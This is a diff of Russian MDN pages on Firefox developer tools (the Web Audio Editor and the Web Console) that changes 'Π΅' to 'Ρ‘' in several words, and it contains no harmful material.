-<p><span id="result_box" lang="ru"><span>Web Audio Editor ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</span></span><span lang="ru"><span> Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ Π² Firefox 32. Π§Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Настройки инструмСнта Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈ ΠΎΡ‚ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅ Β«Web AudioΒ».</span> <span>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Toolbox Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π²ΠΊΠ»Π°Π΄ΠΊΠ° с надписью Β«Web AudioΒ».</span> <span>Π©Π΅Π»ΠΊΠ½ΠΈΡ‚Π΅ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ страницу, которая создаСт Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠΉ контСкст.</span> <span>Π”Π²Π° Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… Π΄Π΅ΠΌΠΊΠΈ:</span></span></p>
+<p><span id="result_box" lang="ru"><span>Web Audio Editor ΠΏΠΎ ΡƒΠΌΠΎΠ»Ρ‡Π°Π½ΠΈΡŽ</span></span><span lang="ru"><span> Π½Π΅ Π²ΠΊΠ»ΡŽΡ‡Ρ‘Π½ Π² Firefox 32. Π§Ρ‚ΠΎΠ±Ρ‹ Π²ΠΊΠ»ΡŽΡ‡ΠΈΡ‚ΡŒ Π΅Π³ΠΎ, ΠΎΡ‚ΠΊΡ€ΠΎΠΉΡ‚Π΅ Настройки инструмСнта Ρ€Π°Π·Ρ€Π°Π±ΠΎΡ‚Ρ‡ΠΈΠΊΠ° ΠΈ ΠΎΡ‚ΠΌΠ΅Ρ‚ΡŒΡ‚Π΅ Β«Web AudioΒ».</span> <span>Π’Π΅ΠΏΠ΅Ρ€ΡŒ Π½Π° ΠΏΠ°Π½Π΅Π»ΠΈ инструмСнтов Toolbox Π΄ΠΎΠ»ΠΆΠ½Π° Π±Ρ‹Ρ‚ΡŒ Π΄ΠΎΠΏΠΎΠ»Π½ΠΈΡ‚Π΅Π»ΡŒΠ½Π°Ρ Π²ΠΊΠ»Π°Π΄ΠΊΠ° с надписью Β«Web AudioΒ».</span> <span>Π©Ρ‘Π»ΠΊΠ½ΠΈΡ‚Π΅ Π²ΠΊΠ»Π°Π΄ΠΊΡƒ ΠΈ Π·Π°Π³Ρ€ΡƒΠ·ΠΈΡ‚Π΅ страницу, которая создаёт Π·Π²ΡƒΠΊΠΎΠ²ΠΎΠΉ контСкст.</span> <span>Π”Π²Π° Ρ…ΠΎΡ€ΠΎΡˆΠΈΡ… Π΄Π΅ΠΌΠΊΠΈ:</span></span></p>
<ul>
<li><a href="https://github.com/mdn/voice-change-o-matic">Voice-change-O-Matic</a>Β <span id="result_box" lang="ru"><span> ΠΌΠΎΠΆΠ΅Ρ‚ ΠΏΡ€ΠΈΠΌΠ΅Π½ΡΡ‚ΡŒ Ρ€Π°Π·Π»ΠΈΡ‡Π½Ρ‹Π΅ эффСкты ΠΊ Π²Ρ…ΠΎΠ΄Ρƒ ΠΌΠΈΠΊΡ€ΠΎΡ„ΠΎΠ½Π°, Π° Ρ‚Π°ΠΊΠΆΠ΅ обСспСчиваСт Π²ΠΈΠ·ΡƒΠ°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚Π°</span></span></li>
@@ -49,11 +49,11 @@ translation_of: Tools/Web_Audio_Editor
<h2 id="ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ°_ΠΈ_ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅_AudioNodes"><span class="short_text" id="result_box" lang="ru"><span>ΠŸΡ€ΠΎΠ²Π΅Ρ€ΠΊΠ° ΠΈ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅ AudioNodes</span></span></h2>
-<p><span id="result_box" lang="ru"><span>Если Π²Ρ‹ Π½Π°ΠΆΠΌΠ΅Ρ‚Π΅ Π½Π° ΡƒΠ·Π΅Π», ΠΎΠ½ подсвСтится, ΠΈ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ инспСктор ΡƒΠ·Π»Π° справа.</span> <span>Π’ этом спискС пСрСчислСны значСния свойств AudioParam этого ΡƒΠ·Π»Π°.</span> <span>НапримСр, Π²ΠΎΡ‚ ΠΊΠ°ΠΊ выглядит OscillatorNode:</span></span></p>
+<p><span id="result_box" lang="ru"><span>Если Π²Ρ‹ Π½Π°ΠΆΠΌΡ‘Ρ‚Π΅ Π½Π° ΡƒΠ·Π΅Π», ΠΎΠ½ подсвСтится, ΠΈ Π²Ρ‹ ΠΏΠΎΠ»ΡƒΡ‡ΠΈΡ‚Π΅ инспСктор ΡƒΠ·Π»Π° справа.</span> <span>Π’ этом спискС пСрСчислСны значСния свойств AudioParam этого ΡƒΠ·Π»Π°.</span> <span>НапримСр, Π²ΠΎΡ‚ ΠΊΠ°ΠΊ выглядит OscillatorNode:</span></span></p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/10173/web-audio-editor-props.png" style="display: block; height: 648px; margin-left: auto; margin-right: auto; width: 868px;"> <span id="result_box" lang="ru"><span>Π’ дСмовСрсии Viplent, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ частоты измСняСтся ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ ΠΌΡ‹ΡˆΡŒ Π²Π»Π΅Π²ΠΎ ΠΈ Π²ΠΏΡ€Π°Π²ΠΎ, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ это, ΠΎΡ‚Ρ€Π°ΠΆΠ΅Π½Π½ΠΎΠ΅ Π² инспСкторС ΡƒΠ·Π»ΠΎΠ².</span> <span>Однако Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ обновляСтся Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ: Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ снова Ρ‰Π΅Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΡƒΠ·Π΅Π», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΎΠ±Π½ΠΎΠ²Π»Π΅Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/10173/web-audio-editor-props.png" style="display: block; height: 648px; margin-left: auto; margin-right: auto; width: 868px;"> <span id="result_box" lang="ru"><span>Π’ дСмовСрсии Viplent, ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€ частоты измСняСтся ΠΊΠΎΠ³Π΄Π° ΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚Π΅Π»ΡŒ ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Ρ‰Π°Π΅Ρ‚ ΠΌΡ‹ΡˆΡŒ Π²Π»Π΅Π²ΠΎ ΠΈ Π²ΠΏΡ€Π°Π²ΠΎ, ΠΈ Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ это, ΠΎΡ‚Ρ€Π°ΠΆΡ‘Π½Π½ΠΎΠ΅ Π² инспСкторС ΡƒΠ·Π»ΠΎΠ².</span> <span>Однако Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π½Π΅ обновляСтся Π² Ρ€Π΅Π°Π»ΡŒΠ½ΠΎΠΌ Π²Ρ€Π΅ΠΌΠ΅Π½ΠΈ: Π²Π°ΠΌ Π½ΡƒΠΆΠ½ΠΎ снова Ρ‰Ρ‘Π»ΠΊΠ½ΡƒΡ‚ΡŒ ΡƒΠ·Π΅Π», Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡƒΠ²ΠΈΠ΄Π΅Ρ‚ΡŒ ΠΎΠ±Π½ΠΎΠ²Π»Ρ‘Π½Π½ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅.</span></span></p>
-<p><span id="result_box" lang="ru"><span>Если Π²Ρ‹ Ρ‰Π΅Π»ΠΊΠ½Π΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² инспСкторС ΡƒΠ·Π»ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ: Π½Π°ΠΆΠΌΠΈΡ‚Π΅</span></span> <kbd>Enter</kbd> ΠΈΠ»ΠΈ <kbd>Tab</kbd> <span id="result_box" lang="ru"><span>ΠΈ Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ вступит Π² силу Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ.</span></span></p>
+<p><span id="result_box" lang="ru"><span>Если Π²Ρ‹ Ρ‰Ρ‘Π»ΠΊΠ½Π΅Ρ‚Π΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ Π² инспСкторС ΡƒΠ·Π»ΠΎΠ², Π²Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡ‚ΡŒ Π΅Π³ΠΎ: Π½Π°ΠΆΠΌΠΈΡ‚Π΅</span></span> <kbd>Enter</kbd> ΠΈΠ»ΠΈ <kbd>Tab</kbd> <span id="result_box" lang="ru"><span>ΠΈ Π½ΠΎΠ²ΠΎΠ΅ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ вступит Π² силу Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ.</span></span></p>
<h2 id="ΠžΠ±Ρ…ΠΎΠ΄_ΡƒΠ·Π»ΠΎΠ²"><span class="short_text" id="result_box" lang="ru"><span>ΠžΠ±Ρ…ΠΎΠ΄ ΡƒΠ·Π»ΠΎΠ²</span></span></h2>
@@ -63,6 +63,6 @@ translation_of: Tools/Web_Audio_Editor
<p><span id="result_box" lang="ru"><span>Π’ ΠΏΠ°Π½Π΅Π»ΠΈ, которая ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Π΄Π΅Ρ‚Π°Π»ΠΈ ΡƒΠ·Π»Π°, Π΅ΡΡ‚ΡŒ ΠΊΠ½ΠΎΠΏΠΊΠ° Π²ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ / Π²Ρ‹ΠΊΠ»ΡŽΡ‡Π΅Π½ΠΈΡ:</span></span></p>
-<p><img alt="" src="https://mdn.mozillademos.org/files/10183/web-audio-editor-on-off.png" style="display: block; height: 97px; margin-left: auto; margin-right: auto; width: 316px;"> <span id="result_box" lang="ru"><span>НаТмитС Π½Π° Π½Π΅Π³ΠΎ, ΠΈ Π³Ρ€Π°Ρ„ΠΈΠΊ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ для ΠΎΠ±Ρ…ΠΎΠ΄Π° этого ΡƒΠ·Π»Π°, поэтому ΠΎΠ½ большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ эффСкта.</span> <span>Π£Π·Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΠΎΠΉΠ΄Π΅Π½Ρ‹, ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π·Π°ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ Ρ„ΠΎΠ½ΠΎΠΌ:</span></span></p>
+<p><img alt="" src="https://mdn.mozillademos.org/files/10183/web-audio-editor-on-off.png" style="display: block; height: 97px; margin-left: auto; margin-right: auto; width: 316px;"> <span id="result_box" lang="ru"><span>НаТмитС Π½Π° Π½Π΅Π³ΠΎ, ΠΈ Π³Ρ€Π°Ρ„ΠΈΠΊ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠ·ΠΌΠ΅Π½Ρ‘Π½ для ΠΎΠ±Ρ…ΠΎΠ΄Π° этого ΡƒΠ·Π»Π°, поэтому ΠΎΠ½ большС Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΠΌΠ΅Ρ‚ΡŒ Π½ΠΈΠΊΠ°ΠΊΠΎΠ³ΠΎ эффСкта.</span> <span>Π£Π·Π»Ρ‹, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΎΠ±ΠΎΠΉΠ΄Π΅Π½Ρ‹, ΠΏΠΎΠΊΠ°Π·Π°Π½Ρ‹ Π·Π°ΡˆΡ‚Ρ€ΠΈΡ…ΠΎΠ²Π°Π½Π½Ρ‹ΠΌ Ρ„ΠΎΠ½ΠΎΠΌ:</span></span></p>
<p><img alt="" src="https://mdn.mozillademos.org/files/10181/web-audio-editor-bypassed.png" style="display: block; height: 74px; margin-left: auto; margin-right: auto; width: 348px;"></p>
diff --git a/files/ru/tools/web_console/helpers/index.html b/files/ru/tools/web_console/helpers/index.html
index fd55c2d723..1a7b9602eb 100644
--- a/files/ru/tools/web_console/helpers/index.html
+++ b/files/ru/tools/web_console/helpers/index.html
@@ -9,7 +9,7 @@ translation_of: Tools/Web_Console/Helpers
---
<div>{{ToolsSidebar}}</div><h2 id="ΠšΠΎΠΌΠ°Π½Π΄Ρ‹">ΠšΠΎΠΌΠ°Π½Π΄Ρ‹</h2>
-<p>Командная строка JavaScript, прСдоставляСмая Π’Π΅Π±-Консолью, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ нСсколько встроСнных Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ ΠΏΡ€ΠΎΡ‰Π΅.</p>
+<p>Командная строка JavaScript, прСдоставляСмая Π’Π΅Π±-Консолью, ΠΏΡ€Π΅Π΄Π»Π°Π³Π°Π΅Ρ‚ нСсколько встроСнных Π²ΡΠΏΠΎΠΌΠΎΠ³Π°Ρ‚Π΅Π»ΡŒΠ½Ρ‹Ρ… Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π΄Π΅Π»Π°ΡŽΡ‚ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½Ρ‹Π΅ Π·Π°Π΄Π°Ρ‡ΠΈ ΠΏΡ€ΠΎΡ‰Π΅.</p>
<dl>
<dt><code>$()</code></dt>
@@ -34,7 +34,7 @@ translation_of: Tools/Web_Console/Helpers
<dt><code>pprint()</code></dt>
<dd>Π€ΠΎΡ€ΠΌΠ°Ρ‚ΠΈΡ€ΡƒΠ΅Ρ‚ ΡƒΠΊΠ°Π·Π°Π½Π½Ρ‹Π΅ значСния Π΄ΠΎ Ρ‡ΠΈΡ‚Π°Π΅ΠΌΠΎΠ³ΠΎ Π²ΠΈΠ΄Π°; ΠΏΠΎΠ»Π΅Π·Π½ΠΎ для Π΄Π°ΠΌΠΏΠ° содСрТимого ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² ΠΈ массивов.</dd>
<dt><code>help()</code></dt>
- <dd>ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ тСкст ΠΏΠΎΠΌΠΎΡ‰ΠΈ. На самом Π΄Π΅Π»Π΅ (Π²ΠΎΡ‚ Π²ΠΎΡΡ…ΠΈΡ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ рСкурсии) ΠΎΠ½ ΠΏΡ€ΠΈΠ²Π΅Π΄Π΅Ρ‚ вас ΠΊ этой страницС.</dd>
+ <dd>ΠŸΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ тСкст ΠΏΠΎΠΌΠΎΡ‰ΠΈ. На самом Π΄Π΅Π»Π΅ (Π²ΠΎΡ‚ Π²ΠΎΡΡ…ΠΈΡ‚ΠΈΡ‚Π΅Π»ΡŒΠ½Ρ‹ΠΉ ΠΏΡ€ΠΈΠΌΠ΅Ρ€ рСкурсии) ΠΎΠ½ ΠΏΡ€ΠΈΠ²Π΅Π΄Ρ‘Ρ‚ вас ΠΊ этой страницС.</dd>
<dt><code>cd()</code></dt>
<dd>ΠŸΠ΅Ρ€Π΅ΠΊΠ»ΡŽΡ‡Π°Π΅Ρ‚ ΠΌΠ΅Ρ…Π°Π½ΠΈΠ·ΠΌ ΠΎΡ†Π΅Π½ΠΊΠΈ контСкста JavaScript ΠΊ Π΄Ρ€ΡƒΠ³ΠΎΠΌΡƒ Π°ΠΉΡ„Ρ€Π΅ΠΉΠΌΡƒ, ΠΈΠΌΠ΅ΡŽΡ‰Π΅ΠΌΡƒΡΡ Π½Π° страницС. Π‘ΠΌΠΎΡ‚Ρ€ΠΈΡ‚Π΅ страницу <a href="/en-US/docs/Tools/Web_Console#Working_with_iframes">Ρ€Π°Π±ΠΎΡ‚Π° с Π°ΠΉΡ„Ρ€Π΅ΠΉΠΌΠ°ΠΌΠΈ</a>.</dd>
<dt><code>copy()</code></dt>
diff --git a/files/ru/tools/web_console/index.html b/files/ru/tools/web_console/index.html
index 727c384d8a..d1c86476c4 100644
--- a/files/ru/tools/web_console/index.html
+++ b/files/ru/tools/web_console/index.html
@@ -21,7 +21,7 @@ translation_of: Tools/Web_Console
<li>ΠŸΠΎΠ·Π²ΠΎΠ»ΡΠ΅Ρ‚ Π²Π·Π°ΠΈΠΌΠΎΠ΄Π΅ΠΉΡΡ‚Π²ΠΎΠ²Π°Ρ‚ΡŒ с Π²Π΅Π±-страницСй, выполняя выраТСния JavaScript Π² Π΅Ρ‘ контСкстС.</li>
</ol>
-<p>Π­Ρ‚ΠΎ Ρ‡Π°ΡΡ‚ΡŒ Π·Π°ΠΌΠ΅Π½Ρ‹ старой <a href="/ru/docs/Error_Console" title="ru/docs/Error_Console">Консоли Ошибок</a>, встроСнной Π² Firefox. Бтарая Консоль Ошибок Π²Ρ‹Π²ΠΎΠ΄ΠΈΠ»Π° ошибки, прСдупрСТдСния ΠΈ сообщСния ΠΎΡ‚ всСх Π²Π΅Π±-страниц, ошибки самого выполнСния самого Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ Π΅Π³ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ. Из-Π·Π° этого Π±Ρ‹Π»ΠΎ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ, сообщСния ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ страницы. Новая Π’Π΅Π±-консоль всСгда привязана ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½Π½ΠΎΠΉ Π²Π΅Π±-страницС ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ с Π½Π΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ.</p>
+<p>Π­Ρ‚ΠΎ Ρ‡Π°ΡΡ‚ΡŒ Π·Π°ΠΌΠ΅Π½Ρ‹ старой <a href="/ru/docs/Error_Console" title="ru/docs/Error_Console">Консоли Ошибок</a>, встроСнной Π² Firefox. Бтарая Консоль Ошибок Π²Ρ‹Π²ΠΎΠ΄ΠΈΠ»Π° ошибки, прСдупрСТдСния ΠΈ сообщСния ΠΎΡ‚ всСх Π²Π΅Π±-страниц, ошибки самого выполнСния самого Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ Π΅Π³ΠΎ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ. Из-Π·Π° этого Π±Ρ‹Π»ΠΎ Ρ‚Ρ€ΡƒΠ΄Π½ΠΎ Π²Ρ‹Π΄Π΅Π»ΠΈΡ‚ΡŒ, сообщСния ΠΎΡ‚ ΠΊΠΎΠ½ΠΊΡ€Π΅Ρ‚Π½ΠΎΠΉ страницы. Новая Π’Π΅Π±-консоль всСгда привязана ΠΊ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Ρ‘Π½Π½ΠΎΠΉ Π²Π΅Π±-страницС ΠΈ ΠΏΠΎΠΊΠ°Π·Ρ‹Π²Π°Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΡΠ²ΡΠ·Π°Π½Π½ΡƒΡŽ с Π½Π΅ΠΉ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ.</p>
<p>На Π΄Ρ€ΡƒΠ³ΠΎΠΉ ΠΏΠΎΠ»ΠΎΠ²ΠΈΠ½Π΅ Консоли ошибок Π·Π°ΠΌΠ΅Π½ΠΈΠ»ΠΈ β€” <a href="/ru/docs/Tools/Browser_Console" title="/ru/docs/Tools/Browser_Console">Консоль Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</a>, которая Π²Ρ‹Π²ΠΎΠ΄ΠΈΡ‚ ошибки, прСдупрСТдСния ΠΈ сообщСния ΠΎΡ‚ ΠΊΠΎΠ΄Π° Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π° ΠΈ ΠΎΡ‚ Π΄ΠΎΠΏΠΎΠ»Π½Π΅Π½ΠΈΠΉ.</p>
@@ -95,7 +95,7 @@ translation_of: Tools/Web_Console
</tr>
<tr>
<td><strong>ΠšΠΎΠ»ΠΈΡ‡Π΅ΡΡ‚Π²ΠΎ ΠΏΠΎΠ²Ρ‚ΠΎΡ€ΠΎΠ² (Occurrences)</strong></td>
- <td>Если строка которая Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΎΡˆΠΈΠ±ΠΊΡƒ выполняСтся большС ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ€Π°Π·Π°, Ρ‚ΠΎ Π½Π° ΠΏΠΎΠ»Π΅ сообщСний ΠΎΠ½Π° ΠΏΠΎΠΏΠ°Π΄Π΅Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, Π½ΠΎ рядом появится счётчик ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚ сколько Ρ€Π°Π· это сообщСниС Π±Ρ‹Π»ΠΎ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ Π² ΠΏΠΎΠ»Π΅ сообщСний.</td>
+ <td>Если строка которая Π³Π΅Π½Π΅Ρ€ΠΈΡ€ΡƒΠ΅Ρ‚ ΠΏΡ€Π΅Π΄ΡƒΠΏΡ€Π΅ΠΆΠ΄Π΅Π½ΠΈΠ΅ ΠΈΠ»ΠΈ ΠΎΡˆΠΈΠ±ΠΊΡƒ выполняСтся большС ΠΎΠ΄Π½ΠΎΠ³ΠΎ Ρ€Π°Π·Π°, Ρ‚ΠΎ Π½Π° ΠΏΠΎΠ»Π΅ сообщСний ΠΎΠ½Π° ΠΏΠΎΠΏΠ°Π΄Ρ‘Ρ‚ Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·, Π½ΠΎ рядом появится счётчик ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΉ ΡƒΠΊΠ°ΠΆΠ΅Ρ‚ сколько Ρ€Π°Π· это сообщСниС Π±Ρ‹Π»ΠΎ Π²Ρ‹Π²Π΅Π΄Π΅Π½ΠΎ Π² ΠΏΠΎΠ»Π΅ сообщСний.</td>
</tr>
<tr>
<td><strong>Имя Ρ„Π°ΠΉΠ»Π° ΠΈ Π½ΠΎΠΌΠ΅Ρ€ строки<br>
@@ -194,7 +194,7 @@ translation_of: Tools/Web_Console
<p><span id="result_box" lang="ru"><span>Если</span> сдСланноС <span>ΠΈΠ·ΠΌΠ΅Π½Π΅Π½ΠΈΠ΅</span> <span>Π°Π½Π½ΡƒΠ»ΠΈΡ€ΡƒΠ΅Ρ‚</span> <span>Ρ‚Π΅ΠΊΡƒΡ‰ΡƒΡŽ схСму</span> <span>-</span> <span>Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€,</span> <span>ΠΎΠΊΠ½ΠΎ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Π°</span> <span>измСняСтся</span> <span>ΠΈΠ»ΠΈ</span> <span>Π½Π΅ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅</span> <span>JavaScript</span> <span>ΠΈΠ·ΠΌΠ΅Π½ΡΡŽΡ‚</span> <span>CSS</span> <span>элСмСнт -</span> <span>ΠΌΠ°ΠΊΠ΅Ρ‚</span> <span>Π½Π΅ пСрСсчитываСтся</span> <span>Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ.</span> <span>ВмСсто</span></span><span lang="ru"> <span>пСрСформатирования </span></span><span lang="ru"> <span>Π² асинхронном Ρ€Π΅ΠΆΠΈΠΌΠ΅</span><span>,</span> <span>Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ</span> <span>Ρ€Π°Π· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span> <span>Ρ€Π΅ΡˆΠ°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ это</span> <span>Π΄ΠΎΠ»ΠΆΠ½ΠΎ Π±Ρ‹Ρ‚ΡŒ сдСлано</span> <span>(ΠΊΠ°ΠΊ ΠΏΡ€Π°Π²ΠΈΠ»ΠΎ</span><span>,</span> <span>Π² ΡΠ»Π΅Π΄ΡƒΡŽΡ‰ΠΈΠΉ</span> <span>Ρ€Π°Π· Π±Ρ€Π°ΡƒΠ·Π΅Ρ€</span> <span>ΠΏΠ΅Ρ€Π΅ΠΊΡ€Π°ΡˆΠΈΠ²Π°Π΅Ρ‚ΡΡ</span><span>)</span><span>.</span> <span>Π’Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ,</span> <span>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ ΠΌΠΎΠΆΠ΅Ρ‚</span> <span>Π½Π°ΠΊΠΎΠΏΠΈΡ‚ΡŒ</span> <span>ΠΊΠΎΠ»Π»Π΅ΠΊΡ†ΠΈΡŽ</span> <span>ΠΎΡΠ½ΠΎΠ²Π°Π½Π½ΡƒΡŽ Π½Π° Π½Π΅Π΄Π΅ΠΉΡΡ‚Π²ΡƒΡŽΡ‰ΠΈΡ… </span><span>измСнСниях</span> <span>ΠΈ</span> <span>ΠΏΠ΅Ρ€Π΅ΡΡ‡ΠΈΡ‚Π°Ρ‚ΡŒ</span> <span>ΠΈΡ… эффСкт</span> <span>сразу</span><span>.</span></span></p>
-<p><span id="result_box" lang="ru"><span>Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅</span><span>,</span> <span>Ссли</span> <span>ΠΊΠ°ΠΊΠΎΠΉ-Ρ‚ΠΎ</span> <span>JavaScript ΠΊΠΎΠ΄</span> <span>Ρ‡ΠΈΡ‚Π°Π΅Ρ‚ Ρ‡Ρ‚ΠΎ</span> <span>ΡΡ‚ΠΈΠ»ΡŒ</span><span> Π±Ρ‹Π» ΠΈΠ·ΠΌΠ΅Π½Π΅Π½</span><span>,</span> <span>Ρ‚ΠΎ</span> <span>Π±Ρ€Π°ΡƒΠ·Π΅Ρ€ Π΄ΠΎΠ»ΠΆΠ΅Π½</span> <span>Π²Ρ‹ΠΏΠΎΠ»Π½ΠΈΡ‚ΡŒ</span> <span>синхронноС</span> 